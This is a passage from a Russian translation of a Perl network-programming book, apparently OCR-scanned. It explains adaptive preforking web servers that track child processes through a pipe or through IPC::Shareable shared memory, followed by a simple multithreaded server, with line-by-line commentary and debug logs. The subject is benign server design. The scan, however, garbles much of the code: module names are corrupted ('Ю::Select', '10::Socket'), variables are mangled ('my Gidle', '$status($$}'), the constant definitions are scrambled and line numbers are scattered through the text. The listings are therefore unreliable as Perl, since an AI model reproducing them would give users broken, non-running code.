warn "child $$: calling accept0\n" if DEBUG;
$c = $socket->accept;
flock($lock,LOCKUN);
};
syswrite CHILD_WRITE,"$$ busy\n";
handle_connection($c);
close $c;
}
warn "child $$ done\n" if DEBUG;
syswrite CHILDWRITE,"$$ done\n";
close $ foreach ($socket,$lock,\*CHILD WRITE);
}
sub cleanup_child {
my $child = shift;
delete $STATUS{$child};
}
Проведем анализ программы.
Строки 1-8. Загрузка модулей. Загружаются стандартные модули io::*, Fcntl, а также
собственные модули Daemon и Web.
Строки 9-14. Определение констант. Определено несколько новых констант. Константы
hi_water_mark и lo_water_mark, соответственно, устанавливают максимальное и
минимальное число простаивающих серверных процессов. В данном примере для них специально
выбраны небольшие значения, чтобы было проще следить за работой программы. Константа
debug указывает, нужно ли выводить отладочную информацию.
Строки 15,16. Объявление глобальных переменных. Установка флажка 5 done равным
истинному значению вызывает завершение работы сервера. Хеш %status содержит
информацию о состоянии дочерних процессов. Как и в предыдущем примере, ключами этого хеша
являются идентификаторы дочерних процессов, а значениями — информация состояния.
Строка 17. Обработчики прерываний. Устанавливается обработчик сигналов int и term,
который присваивает флажку Sdone истинное значение, что приводит к завершению работы
сервера. Напомним также, что модуль Daemon автоматически обрабатывает сигнал chld,
удаляя информацию о завершившихся дочерних процессах из системных таблиц и сопровождая
список идентификаторов дочерних процессов в глобальной переменной %children.
Строки 18-21. Создание сокета. Как и прежде, создается приемный сокет.
Строки 22-24. Создание канала. Создается однонаправленный канал с помощью функции pipe (),
и дескриптор чтения child_read канала добавляется к набору Ю:: Select для использования
в главном цикле. (Более подробно применение модуля Ю:: select будет описано ниже.)
Глава 15. Предварительная организациямулътипроцессной и... 477
Строки 25, 26. Инициализация сервера. Вызывается процедура init_server () модуля
Daemon для создания файла PID сервера, автоматического перевода в фоновый режим и
инициализации ведения журнала.
Строки 27, 28. Предварительное ветвление и создание дочерних процессов. Для
создания путем ветвления заданного числа дочерних серверных процессов вызывается внутренняя
подпрограмма make_new_child ().
Строка 29. Главный цикл. Главный цикл сервера выполняется до тех пор, пока флажок
Sdone не будет установлен в обработчике сигнала равным истинному значению. При каждом
проходе по циклу сервер ожидает сообщения или сигнала об изменении состояния дочернего
процесса. Для поддержки числа простаивающих дочерних процессов в пределах нижней
и верхней отметок сервер обновляет содержимое переменной % status и выполняет код
запуска или останова дочерних процессов, описанный ранее.
Строки 30-42. Обработка сообщений, поступающих из канала. После глубокого анализа
работы главного цикла можно сделать вывод, что для чтения строк состояния из дескриптора
файла child_read желательно использовать функцию sysread (). Однако нельзя просто
перевести родительский процесс в заблокированное состояние, связанное с выполнением этой
операции ввода-вывода, поскольку должна быть предусмотрена возможность прервать
ожидание готовности канала к чтению при получении сигнала term или сообщения об
уничтожении одного из дочерних процессов. Дело в том, что функция sysread (), как и другие
продолжительные операции ввода-вывода, автоматически перезапускается интерпретатором Perl
после прерывания от сигнала.
Самое простое решение этой проблемы опять-таки состоит в использовании функции
select () для ожидания готовности канала к чтению, поскольку перезапуск этой функции не
выполняется автоматически. Для ожидания готовности канала к чтению вызывается метод
can_read () объекта Ю:: Select, а затем для чтения текущего содержимого канала в буфер
применяется функция sysread!). Считанные данные могут содержать одно или несколько
сообщений, в зависимости от активности дочерних процессов. Данные разбиваются на
отдельные сообщения в местах вхождения символов обозначения конца строки, а сообщения
интерпретируются. Если дочерний процесс выдал код состояния "done", его идентификатор
удаляется из глобального хеша % status. В ином случае содержимое глобального хеша
обновляется путем записи текущего кода состояния дочернего процесса.
Строки 43-52. Запуск или уничтожение дочерних процессов. После обновления хеша
% status создается список простаивающих дочерних процессов с использованием функции
grep () для извлечения из хеша % status информации о дочерних процессах, имеющих код
состояния "idle". Если число простаивающих дочерних процессов ниже установленного
константой Lo_WATER_MARK, вызывается подпрограмма make_new_child () столько раз, сколько
требуется для повышения числа дочерних процессов до желаемого уровня. Если число
простаивающих дочерних процессов превышает значение hi_water_mark, to лишним дочерним
процессам напрааляется корректное указание, что они должны завершить работу, в форме
сигнала hup (сокращение от hangup). Как будет описано ниже, каждый дочерний процесс
имеет обработчик сигнала hup, который вызывает их завершение по окончании обслуживания
текущего соединения. Это лучше немедленного завершения дочерних процессов, поскольку
исключает возможность нарушения работы сеанса Web.
После подсчета числа простаивающих дочерних процессов выполняется их сортировка по
числовым значениям идентификаторов процессов, что позволяет начать уничтожение с тех лишних
дочерних процессов, которые были запущены раньше. Возможно, сейчас в этом нет
необходимости, но такое решение может оказаться полезным, если эти процессы допускают утечку памяти.
Строки 54-70. Завершение работы. После окончания работы главного цикла в журнал
записывается предупреждающее сообщение и вызывается подпрограмма kiii_chiidren(), которая
определена в модуле Daemon. Подпрсхрамма kill_children () отправляет каждому дочернему процессу
сигнал term, а затем ожидает завершение работы каждого из них После возврата управления из
этой подпрограммы происходит регистрация второго сообщения и останов сервера.
Строки 58-67. Подпрограмма mako_new_c'hild о. Эта подпрограмма вызывается для
создания нового дочернего процесса. Вызывается подпрограмма launch_child () модуля Daemon
для создания путем ветвления нового дочернего процесса с применением блокировки сигналов.
При вызове подпрограмме iaunch_chiid () передается ссылка на код процедуры обратного
вызова, которая будет вызываться сразу после удаления информации о дочернем процессе из сис-
478
Часть Ш. Разработка систем TCP типа клиент/сервер
темных таблиц. Процедура обратного вызова cleanup_child() поддерживает хеш % STATUS
в актуальном состоянии даже при аварийном завершении дочерних процессов.
Подпрограмма iaunch_child() возвращает PID дочернего процесса в родительском
процессе и числовое значение о — в дочернем. В первом случае выполняется просто запись в
журнал отладочного сообщения. В последнем случае закрывается дескриптор файла
childread, поскольку он больше не нужен, и выполняются процедуры настройки Web-
сервера путем вызова подпрограммы do_chiid (). После завершения работы подпрограммы
do_chiid () прекращается выполнение данной подпрограммы.
• Строки 68-91. Подпрограмма do_child(). По сути, эта процедура выполняет точно такие
же действия, как и предыдущая версия подпрограммы do_chiid (). Она упорядочивает
доступ к приемному сокету, переводя дочерний процесс в состояние ожидания освобождения
файла блокировки с использованием функции flock (), вызывает метод accept () приемного
сокета и передает подключенный сокет функции handle_connection () модуля Web.
Основные отличия состоят в том, что эта подпрограмма, во-первых, реагирует на сигналы hup,
направляемые ей родительским процессом, выполняя корректный останов, и, во-вторых,
записывает сообщения с кодом состояния в дескриптор файла child_write.
• Строки 70-73. Инициализация подпрограммы и запуск цикла accept о. После входа в
подпрограмму do_child (J, как и прежде, открывается файл блокировки и инициализируется
переменная $cycles. Затем устанавливается обработчик для сигнала hup, который
присваивает локальной переменной $done истинное значение. Цикл приема завершается после
установки переменной $done равной истинному значению или после обработки максимального
числа транзакций. В начале цикла приема accept () выполняется запись сообщения о
состоянии, содержащего идентификатор данного дочернего процесса (который хранится в
переменной SS) и код состояния "idle".
• Строки 76-83. Блокировка и вызов функции accept О. Вызывается функция flock(),
а затем, как и прежде, accept (). Но что произойдет, если сигнал hup поступит от
родительского процесса во время выполнения одного из этих вызовов? Будет вызван на выполнение
обработчик hup, который установит переменную $done равной истинному значению, но
поскольку интерпретатор Perl перезапускает продолжительные системные вызовы
автоматически, изменение состояния переменной $done не будет замечено до тех пор, пока эта
подпрограмма не получит входящий запрос на установление соединения, не обработает его и не
вернется в начало цикла приема.
Эту проблему нельзя решить, поместив прерываемый вызов select () между вызовами
flock () и accept (), поскольку сигнал hup может также поступить в то время, когда
подпрограмма находится в состоянии, заблокированном в результате вызова функции flock (), а эта
функция также перезапускается flock () автоматически. Вместо этого, вызовы функций
flock () и accept () заключены в блок eval {}. В начале этого блока устанавливается
новый локальный обработчик hup, который наращивает значение переменной $done и вызывает
функцию die, что приводит к завершению всего блока eval (} при получении сигнала HUP.
Выполняется проверка значения, возвращенного этим блоком, и если оно не определено,
происходит возврат в начало цикла, где обнаруживается изменение значения переменной $done.
• Строки 84-91. Обработка соединения. Если блок eval {} выполнен успешно, значит,
получено новое входящее соединение. Родительскому процессу отправляется через дескриптор
Childwrite сообщение "busy", и вызывается подпрограмма handie_connection (). После
завершения цикла родительскому процессу отправляется сообщение "done", дочерний
процесс закрывает все открытые дескрипторы файлов и завершает работу.
• Строки 92-95. Подпрограмма cleanup_child(). Это процедура обратного вызова, которая
вызывается при успешном получении подпрограммой reap_chiid (), определенной в модуле
Daemon, сообщения об уничтожении дочернего процесса. Выполняется выборка
идентификатора дочернего процесса из стека подпрограммы и его удаление из хеша %status. Это
позволяет учесть такую ситуацию, когда дочерний процесс уничтожается, не имея возможности
записать сообщение с кодом состояния "done" в канвл.
Ниже показаны результаты запуска адаптивного сервера с предварительным
ветвлением после установки опции DEBUG равной истинному значению. Здесь также есть
сообщения родительского процесса, выводимые при запуске нового дочернего про-
Глава 15. Предварительная организация мультипроцессной и... 479
цесса (в том числе трех дочерних процессов, созданных путем предварительного
ветвления в начале работы сервера), при обработке сообщения с кодом состояния
или уничтожении лишних дочерних процессов. Кроме того, можно видеть
сообщения дочерних процессов, выводимые при каждом вызове функции accept () или во
время завершения. Обратите внимание на то, как было выполнено уничтожение
родительским процессом дочернего процесса, после того как число простаивающих
дочерних процессов превысило верхнюю отметку.
Jun 21 10 46 19 pesto prefork_pipe.pl[7195]:
launching child 7196
Jun 21 10 46 19 pesto prefork_pipe.pl[7195] :
launching child 7201
Jun 21 10 46 20 pesto prefork_pipe.pl[7195]:
launching child 7202
Jun 21 10 46 19 pesto prefork_pipe.pl[7196]
child 7196 calling accept(]
Jun 21 10 46 20 pesto prefork_pipe.pl[7195];
7201=>idle 7202=>idle 7196=>idle
Jun 21 10 46 38 pesto prefork_pipe.pl[7195]
7201=>idle 7202=>idle 7196=>busy
Jun 21 10 46 38 pesto prefOrk_pipe.pl[7202]
child 7202 calling accept()
Jun 21 10:46:41 pesto prefork_pipe.pl[7195]
7201=>idle 7202=>idle 7196=>idle
Jun 21 10:46:42 pesto prefork_pipe.pl[7196]
child 7196: calling accept()
Jun 21 10:46:42 pesto prefork_pipe.pl[7195]
7201=>idle 7202=>busy 7196=>idle
Jun 21 10:46:49 pesto prefork_pipe.pl[7195]
7201=>ldle 7202=>busy 7196=>busy
Jun 21 10:46:49 pesto prefork_pipe.pl[7201].
child 7201: calling accept()
Jun 21 10:46:56 pesto prefork_pipe.pl[7195] :
launching child 7230
Jun 21 10:46:56 pesto prefork_pipe.pl[7217]:
child 7217: calling accept()
Jun 21 10:46:56 pesto prefork_pipe.pl[7195]:
7217=>idle 7201=>busy 7202=>busy
7196=>busy 7230=>idle
Jun 21 10:47:08 pesto prefOrk_pipe.pl[7195]:
7217=>busy 7201=>busy 7202=>busy
7196=>busy 7230=>idle
Jun 21 10-47:08 pesto prefork_pipe.pl[7230]:
child 7230: calling accept()
Jun 21 10:47:09 pesto preforkpipe pi[7195]:
launching child 7243
Jun 21 10:47:09 pesto prefork_pipe.pl[7195]:
7217=>busy 7201=>idle 7202=>idle 7243=>idle
7196=>ldle 7230=>idle
Jun 21 10:47:29 pesto prefork_pipe.pl[7195]
killed 1 children
Jun 21 10:48:54 pesto prefork_pipe.pl[7196]
child 7196. calling accept()
Jun 21 10:48:54 pesto prefork_pipe.pl[7230]
child 7230 done
Jun 21 10:50:18 pesto prefork_pipe.pl[7195] :
Termination received, killing children
480
Часть Ш. Разработка систем TCP типа клиент/'сервер
В представленной здесь программе есть потенциальная ошибка в коде
реализации родительского процесса. Родительский процесс читает из дескриптора
CHILD_READ данные в виде фрагментов, максимальная длина которых составляет
4096 байт, а не в виде строк. Если дочерние процессы работают очень активно,
а родительский процесс реагирует очень медленно, то в дескрипторе может
накопиться много сообщений, объем которых превышает 4096 байт, и последнее
будет разбито на части, которые будут считаны в два этапа. Хотя это
маловероятно (если средняя длина сообщений составляет 10 байт, то в объеме 4096 байт
может поместиться 400 сообщений), может быть предусмотрена возможность
буферизации считанных данных в строковой переменной и явной проверки на
наличие результатов частичного чтения, которые не оканчиваются символами
конца строки.
Адаптивный сервер с предварительным
ветвлением, использующий разделяемую память
И наконец, рассмотрим тот же сервер, реализованный с использованием
разделяемой памяти.
Все современные версии UNIX обеспечивают доступ к разделяемой памяти, что
позволяет нескольким процессам выполнять чтение и запись в одном и том же
сегменте памяти. В результате, появляется возможность обеспечить для нескольких
процессов совместный доступ к переменным и другим структурам данных. Процедуры
доступа к разделяемой памяти включают также средство блокировки, которое
позволяет одному процессу получить на время исключительный доступ к области памяти
и предотвратить условия состязания, при которых два процесса пытаются
одновременно изменить содержимое одного и того же сегмента памяти.
Несмотря на то что интерпретатор Perl предоставляет доступ к вызовам функций
управления разделяемой памятью низкого уровня ( с помощью функций shmget (),
schmread(), schmwriteO и schmctl()), в модуле IPC: :Shareable реализован
связанный интерфейс высокого уровня к средствам разделения памяти. После
объявления скалярной переменной или переменной типа хеша, связанной с модулем
IPC: : Shareable, к ее содержимому может быть предоставлен совместный доступ
вместе с любым другим процессом Perl.
Модуль IPC:: Shareable может быть загружен из архива CPAN. Для работы с ним
должен быть установлен модуль Storable, который устанавливается автоматически,
если для загрузки модуля применяется командный интерпретатор CPAN.
Ниже показана общая схема размещения хеша в разделяемой памяти:
tie %H, "IPC::Shareable', 'Test', {create => 1,
destroy => 1,
exclusive => 1,
mode => 0666};
Первый параметр задает имя переменной, с которой должен быть связан хеш,
в данном случае— %н. Вторым параметром является имя модуля IPC: : Shareable.
Третий параметр представляет так называемый "закрепленный" идентификатор,
который служит для обозначения этой переменной в разделяющих ее процессах. Он
может быть целым числом или любой строкой длиной до четырех символов. В этом
примере применяется закрепленный идентификатор Test.
Глава 15. Предварительная организация мулътипроцессной и... 481
Последний параметр представляет собой ссылку на хеш, содержащий опции,
передаваемые модулю IPC: : Shareable. В этом модуле предусмотрено много опций, но
чаще всего применяются опции create, destroy, exclusive и mode. Опция create
вызывает создание сегмента разделяемой памяти, если он еще не существует.
Зачастую она используется в сочетании с опцией exclusive, которая вызывает аварийное
завершение функции связывания tie (), если сегмент уже существует, или с опцией
destroy, которая обеспечивает автоматическое уничтожение сегмента разделяемой
памяти после завершения данного процесса. И наконец, опция mode задает
восьмеричное обозначение режима доступа к сегменту разделяемой памяти, который
действует аналогично режиму доступа к файлу. Значение 0666 является наименее
ограничительным и позволяет любому процессу выполнять чтение и запись в этом сегменте
памяти, а значение 0600 — наиболее ограничительным и предоставляет доступ к
разделяемой переменной только тем процессам, которые имеют один и тот же
идентификатор пользователя.
Многочисленные процессы могут связывать свои хеши с одним и тем же
сегментом памяти, если они имеют достаточные права доступа. Когда родительский процесс
должен осуществлять совместный доступ к данным вместе с многочисленными
дочерними процессами, родительский процесс вначале создает сегмент разделяемой
памяти с использованием опций create, destroy и exclusive. После этого каждый
дочерний процесс связывает собственную переменную с одним и тем же
закрепленным идентификатором. Дочерние процессы не несут ответственность за создание
или уничтожение разделяемой памяти, поэтому не передают функции связывания
tie () опций.
tie %my_copy, 'IPC::Shareable', 'Test';
После связывания переменной типа хеша все изменения, внесенные в нее одним
процессом, немедленно становятся доступными для всех других процессов.
Значениями разделяемого хеша могут быть скалярные переменные, объекты и ссылки, но
не дескрипторы файлов или ссылки на подпрограммы. Однако при использовании
разделяемых хешей для хранения сложных объектов необходимо учитывать
некоторые нюансы; все соответствующие предупреждения приведены в документации
IPC::Shareable.
Если несколько процессов попытаются одновременно изменить значение одной
и той же разделяемой переменной, могут возникнуть некоторые проблемы.
Несколько рискованной является даже такая простая операция, как $Н{' key'} ++, поскольку
сама операция ++ выполняется в несколько этапов: происходит выборка текущего
значения, его наращивание и запись обратно в хеш. Если несколько процессов
попытаются изменить это значение до того, как закончится выполнение операции ++,
внесенные изменения будут перекрыты. Самым простым решением является блокировка
хеша перед выполнением многоэтапной операции обновления и снятия блокировки
после ее завершения. Ниже показана общая схема.
tied(%H)->shlock;
$H{,key1}++;
tied(%H)->shunlock;
Метод tied () возвращает ссылку на объект, которая хранится в самом объекте
IPC::Shareable. Этот объект имеет только два общедоступных метода: shlock()
и shunlock () .Первый метод блокирует переменную так, чтобы к ней не могли
получить доступ другие процессы, а второй — снимает блокировку. (Эти методы не имеют
непосредственного отношения к функции lock (), используемой в многопоточной
482 Часть Ш. Разработка систем TCP типа клиент/сервер
обработке, или к функции flock {), которая применялась ранее в этой главе для
упорядочения доступа к функции accept ().)
Скалярные переменные также могут быть связаны с разделяемой памятью с
использованием аналогичного интерфейса. Связанные массивы в настоящее время не
поддерживаются.
В листинге 15.7 приведена новая версия адаптивного Web-сервера с
предварительным ветвлением, в которой используется модуль IPC:: Shareable.
Листинг 15.7. Адаптивный сервер с предварительным ветвлением, в котором
о уе разде емаяпамя ■
о
1
2
3
4
5
б
7
8
9
10
11
12
13
14
15
16
25
26
27
28
#!/usr/bin/perl -w
# prefork_shm.pl
use strict;
use 10::Socket;
use IO::File;
use Fcntl ':flock';
use IPC::Shareable;
use Daemon;
use Web;
■use constant PB.EFOB.K_CHILEiB.EM
use constant MAX_REQUEST
use constant PIDFILE
use constant HI_WATER_MARK
use constant LO_WATER_MARK
use constant SHM_GLUE
use constant DEBUG
=>
=>
=>
=>
=>
=>
=>
3;
30;
"/tmp/prefork.pid
5,-
2;
■PREf';
1;
my $D0NE =0; # Установить истинное значение
# флажка после завершения работы сервера
17: my %STATUS = ();
18: $SIG{INT} = $SIG{TERM} = sub { $DONE++ };
19: $SIG{ALRM} = sub {}; # Принимать сигналы от таймера, но
# не выполнять никаких действий
20: my $port = shift \\ 6060;
21: my $socket = IO::Socket::INET->new( LocalPort => $port,
22: Listen => SOMAXCONN,
23: Reuse => 1 ) or
die "Can't create listen socket: $!";
24: # Создать файл PID, инициализировать регистрацию и перейти
# в фоновый режим
init server(PIDFILE);
# Создать сегмент разделяемой памяти для хранения кодов
# состояния дочерних процессов
tie(%STATUS,'IPC::Shareable',SHMGLUE,( create=>l,exclusive=>l,
destroy=>l,mode => 0600})
or die "Can't tie \%STATUS to shared memory: $!";
29: # Выполнить предварительное ветвление для создания
# некоторых дочерних процессов
30: make_new_child() for (1..PREFORK_CHILDREN); # Создать
Глава 15. Предварительная организация мулътипроцессной и... 483
I
# дочерние процессы путем предварительного ветвления
while (!$DONE) {
sleep; # Перейти в состояние ожидания до поступления
# сигнала (сигнала от таймера или сигнала CHLD)
# Получить список простаивающих дочерних процессов
warn join С ', map {"$_=>$STATUS{$_}"} keys %STATUS),
"W if DEBUG;
my Gidle = sort {$a <=> $b} grep {$STATUS{$_} eq 'idle'}
keys %STATUS;
if (Gidle < LO_WATER_MARK) {
make_new_child() for (0..LC_WATER_MARK-@idle-1);
# Увеличить число дочерних процессов
} elsif (Gidle > HI_WATER_MARK) {
my Ggoners = Gidle[0.-Gidle - HI_WATER_NARK() - 1];
# Уничтожить запущенные раньше других
my $killed = kill HUP => Ggoners;
warn "killed $killed children" if DEBUG;
}
warn "Termination received, killing children\n" if DEBUG;
kill_children();
warn "Normal termination.\n";
exit 0;
sub make_new_child {
my $child = launch_child(\&cleanup_child);
if ($child) { # Переменная $child > 0, поэтому
# управление - в родительском процессе
warn "launching child $child\n" if DEBUG;
} else { # Управление - в дочернем процессе
do_child($socket); # Дочерний процесс обрабатывает
# входящие соединения
exit 0; # Выполнение дочернего процесса
# завершено
>
}
sub do^child {
my $socket = shift;
my %status;
my $lock = IO::File->new(PIDFILE,C_RDONLY) or
die "Can't open lock file: $!";
my $cycles = MAX_REQUEST;
my $done = 0;
tie(%status,'IPC::Shareable',SHM_GLUE)
or die "Child $$: can't tie \%status to shared memory: $!*';
$SIG(HUP} = sub { $done++; };
while (!$done ££ $cycles—) {
$status{$$} = 'idle'; kill ALRM=>getppid();
my $c;
next unless eval {
local $SIG{HUP} = sub { $done++; die);
Часть III. Разработка систем TCP типа клиент/сервер
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
flock($lock,L0CK_EX);
warn "child $$: calling accept()\n" if DEBUG;
$c = $socket->accept;
flock($lock,LOCK_UN);
};
$status{$$) = "busy"; kill ALRM=>getppid() ;
handle_cormection($c);
close $c;
}
$status($$} = 'done'; kill ALRM=>getppid();
warn "child $$ done\n" if DEBUG;
close $ foreach ($socket,$lock);
}
sub cleanup_child {
my $child = shift;
delete $STATUS{$child};
}
Проведем анализ программы.
Строки 1-8, Загрузка модулей. Загружаются те же модули, что и прежде, а также модуль
IPC::Shareable.
Строки 9-15. Определение констант. Определена новая константа shm_Glue, содержащая
ключ, который будет использоваться и родительским, и дочерним процессами для
обозначения сегмента разделяемой памяти.
Строки 16, 17. Объявление глобальных переменных. Объявляются переменные $done
и %status, которые имеют тот же смысл, что и в предыдущем примере. Основное различие
состоит в том, что хеш % status связан с разделяемой памятью и обновляется непосредственно
дочерними процессами, а не поддерживается в актуальном состоянии родительским процессом.
Строки 18, 19. Установка обработчиков сигналов. Устанавливаются обработчики сигналов
term и int, которые присваивают флажку $done истинное значение, вызывая завершение
работы сервера. Предусмотрен также обработчик для перехвата сигнала alrm, который не
выполняет абсолютно никаких действий. Как будет показано ниже, родительский процесс
основную часть времени проводит, выполняя вызов функции sleep () и ожидая от одного из
дочерних процессов сигнала alrm, который говорит о том, что изменилось содержимое хеша
%status. Обработчик сигнала alrm должен быть установлен с тем, чтобы можно было
перекрыть применяемое по умолчанию действие этого сигнала, которое предусматривает полное
завершение работы программы.
Строки 20-25. Создание сокета и инициализация сервера. Как обычно, создается приемный
сокет и вызывается процедура init_server () модуля Daemon.
Строки 26-28. Связывание хеша %status. Этот хеш саязыаается с разделяемой памятью
с помощью опций, которые обеспечивают создание разделяемой памяти с ограничительным
режимом доступа и ее автоматическое уничтожение после завершения работы родительского
процесса. Если сегмент памяти при вызове функции tied уже существует, этот аызов
завершается аварийно. Это может произойти, если в другой программе было выбрано то же
значение идентификатора для сегмента разделяемой памяти, что и в данной программе, или
перед этим произошел аварийный останов сервера и память осталась распределенной. В
последнем случае может возникнуть необходимость удалить разделяемую память вручную
с помощью инструментального средства, предусмотренного в операционной системе. В
системах Linux для удаления сегмента разделяемой памяти применяется команда ipcrm.
Содержимое хеша %status идентично применяемому в последнем примере. Его ключами
являются идентификаторы дочерних процессов, а значениями — их строки состояния.
Строки 29, 30. Предварительное ветвление и создание дочерних процессов. Выполняется
предварительное ветвление и создание определенного числа дочерних процессов путем
вызова подпрограммы make_new_chiid () требуемое число раз.
Глава 15, Предварительная организация мулътипроцессной и... 485
• Строки 31-43. Цикл проверки состояния. По мере обработки входящих соединений дочерние
процессы обновляют хеш % status, и эти изменения немедленно становятся доступными для
родительского процесса. Однако было бы крайне неэффективным создание цикла,
предназначенного только для проверки наличия изменений в хеше % status. Обязанность сообщать об
изменениях в хеше %status возлагается на дочерние процессы, а родительский процесс ожидает
поступления сигнала. Предусматривается применение двух сигналов: alrm, отпрааляемого
дочерним процессом при внесении им изменений в хеш %status, m chld, отпрааляемого
операционной системой при завершении работы дочернего процесса по любой причине.
Программа входит в цикл, который завершается после того, как переменная $done принимает
истинное значение. В начале цикла вызывается функция sleep (), которая переводит
процесс в состояние ожидания до получения некоторого сигнала. После возврата из функции
sleep () обрабатывается хеш %status точно как же. как и прежде, — запуск новых дочерних
процессов и уничтожение старых для поддержания числа простаивающих дочерних процессов
между нижней и верхней отметками.
• Строки 44-47. Завершение работы. После выхода из главного цикла вызывается
подпрограмма killchildren () модуля Daemon для завершения работы всех действующих
дочерних процессов, выполняется вывод определенных диагностических сообщений и сервер
останавливается.
• Строки 48-56. Подпрограмма make_new_child(). Эта подпрограмма аналогична
применяемой в первой версии адаптивного сервера, за исключением того, что в ней больше не
осуществляется управление каналом. Как и в предыдущей версии, вызывается подпрограмма
launch_chiid() модуля Daemon и в качестве параметра с указанием процедуры обратного
вызова применяется подпрограмма cleanup_child ().
• Строки 57-83. Подпрограмма do_child(). Выполняет цикл accept () в каждом дочернем
процессе, принимая и обрабатывая входящие запросы на установление соединения от
клиентов. После входа в подпрограмму локальная переменная %status связывается с сегментом
разделяемой памяти, обозначенным параметром shm_glue. Поскольку предполагается, что
этот сегмент уже был создан родительским процессом, в этом вызове не используются опции
create или exclusive. Если связывание переменной не может быть выполнено, дочерний
процесс завершает работу с сообщением об ошибке.
Устанавливается файл блокировки для упорядочения доступа, и подпрограмма входит в цикл
accept (). При каждом изменении состояния дочернего процесса подпрограмме записывает
его новое состояние непосредственно в переменную % status и сообщает родительскому
процессу об изменении этой разделяемой переменной, отправляя ему сигнал ALRM. Общая схема
кода выглядит примерно так:
$status{$$}='idle'; kill ALRM=>getppid()
Во асем остальном подпрограмма do_chiid() идентична предыдущей версии, включая то,
что в ней для перехвата и корректной обработки сигналов hup применяется блок eval {}.
• Строки 84-87. Подпрограмма cleanup_child(). Эта подпрограмма вызывается
подпрограммой reap_child () модуля Daemon для обработки информации о дочернем процессе,
который был только что удален из системных таблиц. Идентификатор дочернего процесса
удаляется из хеша % status, что обеспечивает поддержание этого хеша в актуальном состоянии,
даже если завершение некоторых дочерних процессов происходит преждевременно.
Хотелось бы сделать несколько заключительных замечаний в отношении этого
сервера. Автор вначале пытался использовать одну и ту же связанную переменную
% STATUS и для родительского, и для дочернего процессов, позволяя дочерним
процессам наследовать переменную % STATUS путем ветвления. Это решение оказалось
ошибочным, поскольку модуль IPC::Shareable перераспределял сегмент
разделяемой памяти перед завершением работы каждого дочернего процесса. Небольшой
эксперимент показал, что дочерний процесс, наряду с остальной частью опций этой
разделяемой переменной, наследовал и опцию destroy. Вероятно, это можно
исправить, разобравшись во внутренней структуре модуля IPC:: Shareable и переведя
опцию destroy вручную в неактивное состояние. Однако нет никакой гарантии, что
внутренняя структура модуля в дальнейшем не изменится.
486
Часть Ш. Разработка систем TCP типа клиент/сервер
Некоторые сообщения в группе новостей сотр.lang.perl.modules содержат
предупреждения, что модуль IPC::Shareable не совсем стабилен. Хотя автор и не
столкнулся с проблемами при его использовании, в производственных системах
может оказаться более целесообразной простая реализация с использованием каналов.
Предварительное формирование
потоков
Те, кто работает с версией Perl, в которой предусмотрена поддержка потоков,
могут спроектировать сервер с использованием архитектуры, предусматривающей
предварительное формирование потоков. Предварительное формирование потоков
аналогично предварительному ветвлению, за исключением того, что в сервере
с предварительным формированием потоков вместо запуска нескольких процессов
для вызова функции accept () выполняется создание нескольких потоков для
обслуживания входящих соединений. Как и при использовании сервера с
предварительным ветвлением, в основе этого лежит стремление избежать издержек, связанных
с созданием нового потока для каждого входящего соединения.
В настоящем разделе рассматривается Web-сервер с предварительным
формированием потоков, в котором реализованы те же адаптивные средства, что в сервере
с предварительным ветвлением, описанном в предыдущих разделах.
Многопоточный Web-сервер
Прежде чем перейти к описанию Web-сервера с предварительным
формированием потоков, рассмотрим простую многопоточную версию этого сервера (листинг
15.8). Его суть состоит в том, что цикл accept () выполняется в основном потоке.
Каждое входящее соединение передается новому "рабочему" потоку, который
обслуживает соединение, а затем завершает работу. Поэтому для обслуживания каждого
входящего соединения создается, а затем уничтожается один новый поток.
i r J. i » • »т« ■ •- •- орвер
0: #!/usr/bin/perl -w
1: # Файл: web_threadl.pl
use strict;
use IO::Socket;
use 10::Select;
use Thread;
use Daemon;
use Web;
use constant PIDFILE => '/tmp/web thread.pid';
9: my $DONE = 0;
10: $SIG{INT} = $SIG{TERM} = sub ( $D0NE++ };
11: my $port = shift I I 8080;
Глава 15. Предварительная организациямультипроцессной и... 487
12: my $socket = 10:.:Socket.;;J№T->nqw.( LoqalPort => $port,
13: *' *' "*V LiJten ' => S0NAXC0NN, »'
14: Reuse => 1 ) or
die "Can't create listen socket: $!";
15: my $IN = IO::Select->new($socket);
V . if'
16: # Создать файл PID, инициализировать регистрацию и перейти
# в фоновый режим
17: init_server{PIDFILE); i
18: warn "Listening for connections on port $port\n";
19
20
21
22
23
24
26
27
28
29
30
31
# Цикл вызова функции accept
while (!$DONE) {
next unless $IN->can_read;
next unless my $c = $socket->accept;
Thread->new(\sdo_thread, $c);
}
25: warn "Normal termination\n";
sub do_thread {
my $c = shift;
Thread->self->detach;
handle_connection($c) ;
close $c;
}
Проведем анализ программы.
• Строки 1-7. Загрузка модулей. Кроме стандартных модулей, загружается модуль Thread,
который предоставляет доступ к API-интерфейсу потоков Perl.
• Строки 8-10. Создание констант, глобальных переменных и обработчиков прерываний.
Выбирается путь, который будет применяться для доступа к файлу PID сервера, и
устанавливаются обработчики сигналов, которые позволяют корректно завершить работу сервера после
получения сигнала term или int.
• Строки 11-17. Создание приемного сокета и автоматический перевод в фоновый режим.
Создается приемный сокет, и сервер переводится в фоновый режим путем вызова процедуры
init_server () модуля Daemon. Снова создается объект Ю:: Select для использования
в главком цикле в целях предотвращения блокировки выполнения функции accept () при
получении сигнала завершения.
• Строки 18-24. Цикл accept (). Этот цикл аналогичен другим циклам, рассматриваемым в данной
главе. Для каждого нового входящего соединения вызывается метод Thread->new () для запуска
нового потока выполнения. В новом потоке выполняется подпрограмма do_thread ().
• Строки 26-31. Подпрограмма do_thread(). В данной подпрограмме вначале выполняется
отключение потока, чтобы не было необходимости присоединяться к нему с помощью функции
joint) из главного потока после завершения работы данного потока. Затем вызывается
подпрограмма handle_connect±on (), и после завершения ее работы сокет закрывается.
Как и другие серверы, описанные в этой главе, сервер web_threadl. pi
автоматически переводит себя в фоновый режим во время запуска. Сообщения о состоянии
этого сервера записываются в системный журнал, и его можно остановить, отправив
ему сигнал TERM или INT. j
% kill -TERM "cat /tmp/webthread.pid"
Этот многопоточный сервер имеет удивительно простую конструкцию.
488
Часть Ш. Разработка систем TCP типа клиент/сервер
Простой сервер с предварительным
формированием потоков
В отличие от многопоточного сервера, сервер с предварительным
формированием потоков действует по принципу заблаговременного создания своих рабочих
потоков. В каждом рабочем потоке выполняется независимый цикл accept (). Сервер
с предварительным формированием потоков, упрощенный до предела, выглядит
следующим образом.
use Thread;
use IO::Socket;
use Web;
use constant PRETHREAD => 5;
my $socket = IO::Socket::INET->new( LocalPort => $port.
Listen => SOMAXCONN,
Reuse => 1 ) or die;
